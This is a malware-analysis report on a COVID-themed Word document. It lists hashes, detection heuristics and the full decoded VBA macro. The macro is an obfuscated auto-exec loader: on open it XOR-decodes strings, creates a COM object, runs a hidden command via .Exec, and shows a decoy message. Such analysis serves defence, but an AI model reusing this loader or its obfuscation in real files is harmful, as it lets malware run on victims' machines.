Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 fdf0b6117d5ab0a1…

MALICIOUS

Office (OOXML)

77.0 KB Created: 2020-06-30 01:18:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-11-23
MD5: 453feb15fbda71bb916aa7d07fd15f8f SHA-1: a2a55027b6ac038fb5c1aa885426358e7316824f SHA-256: fdf0b6117d5ab0a1440dcc98c36b00bf4c16a098a8140418ef1c5c3f02e5b3d1
198 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set Osca1l = CreateObject(nfb7942o(Chr(91) & "" & "_" & "o" & "~" & "e" & "" & Chr(124) & "" & Chr(120) _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set Osca1l = CreateObject(nfb7942o(Chr(91) & "" & "_" & "o" & "~" & "e" & "" & Chr(124) & "" & Chr(120) _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • External hyperlinks (3) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 3 external hyperlinks — clickable URLs are stored as external relationships. First target: https://www.cdc.gov/coronavirus/2019-ncov/cases-in-us.html
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • https://www.cdc.gov/coronavirus/2019-ncov/Document hyperlink
    • https://www.cdc.gov/coronavirus/2019-ncov/about/transmission.htmlDocument hyperlink
    • https://www.cdc.gov/coronavirus/2019-ncov/cases-in-us.htmlDocument hyperlink

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2665 bytes
SHA-256: 1cdc8d110951f3ca9e2b407fcc4d5ed8b853801a393b0b169dd9fb579cb45c02
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()
    yk80l28c
    Showhidden
End Sub

Function ygkg(str As String) As Variant: Dim bytes() As Byte: bytes = str: ygkg = bytes: End Function
Function pqy9(bytes() As Byte) As String: Dim str As String: str = bytes: pqy9 = str: End Function

Function nfb7942o(str As String) As String
    Const p_ As String = "ryy3dui5"
    Dim sb_() As Byte, pb_() As Byte
    sb_ = ygkg(str)
    pb_ = ygkg(p_)
    
    Dim uL As Long
    uL = UBound(sb_)
    
    ReDim scb_(0 To uL) As Byte
    
    Dim idx As Long
    
    For idx = LBound(sb_) To uL:
        If Not sb_(idx) = 0 Then
            c = sb_(idx)
            For i = 0 To UBound(pb_):
                c = c Xor pb_(i)
            Next i
            scb_(idx) = c
        End If
    
    Next idx
    
    nfb7942o = pqy9(scb_)
End Function


Sub yk80l28c()
'Cov19News
    Dim Osca1l, oLxec
    Set Osca1l = CreateObject(nfb7942o(Chr(91) & "" & "_" & "o" & "~" & "e" & "" & Chr(124) & "" & Chr(120) _
& "" & Chr(34) & "" & "_" & "" & "d" & "" & Chr(105) & "`" & Chr(96) & ""))
        
    Set oLxec = Osca1l.Exec(nfb7942o("O" & "6" & "" & Chr(80) & "" & Chr(91) & "e" & "" & "b" & Chr(104) _
& "c" & Chr(123) & "" & Chr(127) & "" & Chr(80) & "_" & Chr(117) & Chr(127) & "" & Chr(91) & Chr(67) _
& Chr(91) & Chr(58) & "" & "8" & Chr(80) & "" & Chr(126) & "" & Chr(105) & "k" & "" & Chr(127) & Chr(122) _
& "~" & "" & Chr(63) & Chr(62) & Chr(44) & "#" & Chr(127) & "" & "," & Chr(35) & Chr(98) & Chr(44) & _
"#" & "" & "y" & "" & "," & "" & "#" & Chr(101) & "6" & "" & Chr(100) & "" & "x" & "x" & "" & "|" & "" _
& " " & Chr(54) & "#" & "" & Chr(35) & "" & "n" & "e" & Chr(120) & """" & "" & Chr(96) & Chr(117) & "" _
& Chr(35) & "O" & "c" & "" & "z" & "=" & "5" & "B" & Chr(105) & "{" & "" & Chr(127) & "" & "Y" & Chr(124) _
& "h" & Chr(109) & "x" & "" & Chr(105) & "," & Chr(127) & "" & "o" & Chr(126) & "c" & "" & Chr(110) & _
Chr(102)))

End Sub

Sub Showhidden()
On Error GoTo MainStop
If ActiveWindow.View.ShowAll = False Or ActiveWindow.View.ShowHiddenText = False Then
    With ActiveWindow
        With .View
            .ShowHiddenText = True
            .ShowAll = True
        End With
    End With
End If
MainStop:
    If Err.Number <> 0 Then
        MsgBox "Cov19News Updated"
    End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28160 bytes
SHA-256: e24ff2bd2bdc471a2ece4afa11beb23c3e48be472730d7b80104742092fffef6